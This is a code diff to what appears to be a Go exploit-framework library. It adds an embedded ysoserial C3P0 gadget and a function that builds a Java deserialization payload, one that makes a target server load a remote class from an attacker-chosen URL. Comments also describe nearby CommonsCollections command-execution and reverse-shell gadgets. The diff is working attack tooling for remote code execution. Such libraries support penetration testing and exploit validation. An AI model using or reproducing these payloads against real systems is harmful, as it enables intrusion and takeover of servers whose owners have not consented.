diff --git a/java/gadgets/C3P0.bin b/java/gadgets/C3P0.bin new file mode 100644 index 0000000..3702588 Binary files /dev/null and b/java/gadgets/C3P0.bin differ diff --git a/java/javagadget.go b/java/javagadget.go index 932fc34..8bb6521 100644 --- a/java/javagadget.go +++ b/java/javagadget.go @@ -1,20 +1,32 @@ package java import ( + "embed" "errors" "fmt" + "path/filepath" "strconv" "strings" "github.com/vulncheck-oss/go-exploit/transform" ) -var errInvalidCommandLength = errors.New("invalid command length") +//go:embed gadgets +var gadgets embed.FS + +var ( + errInvalidCommandLength = errors.New("invalid command length") + errInvalidCallbackArg = errors.New("invalid callback arg") +) func ErrorInvalidCommandLength(msg string) error { return fmt.Errorf("%w: %s", errInvalidCommandLength, msg) } +func ErrorInvalidCallbackArg(msg string) error { + return fmt.Errorf("%w: %s", errInvalidCallbackArg, msg) +} + // This payload was generated using ysoserial-modified with the CommonsCollections6 gadget and the bash shell arg // The benefit of this payload over one generated from the unmodified ysoserial is the you do not need to // prepend it with a bash -c, and the spaces do not need to be replaced with $IFS. @@ -415,6 +427,30 @@ func Commons10CommandBytecode(commandStr string) (string, error) { return payloadBytes, nil } +// Load `className` from `baseURL` using `URLClassLoader`. +// +// Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "" and "". +func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) { + // 16-bit unsigned integer + if len(baseURL) < 1 || len(baseURL) > 65535 { + return "", ErrorInvalidCallbackArg("baseURL must be between 1 and 65535 characters") + } else if len(className) < 1 || len(className) > 65535 { + return "", ErrorInvalidCallbackArg("className must be between 1 and 65535 characters") + } + + // $ java -jar ysoserial.jar C3P0 ":" + gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "C3P0.bin")) + if err != nil { + return "", fmt.Errorf("failed to read gadget: %w", err) + } + + gadget := string(gadgetBytes) + gadget = strings.ReplaceAll(gadget, "\x00\x0a", transform.PackBigInt16(len(baseURL))+baseURL) + gadget = strings.ReplaceAll(gadget, "\x00\x0b", transform.PackBigInt16(len(className))+className) + + return gadget, nil +} + // This is a serialized java reverse shell. The gadget was generated by ysoserial // but using the code in this pull https://github.com/frohoff/ysoserial/pull/96 // and updated to make it easy to swap in the desired lhost+lport of our choosing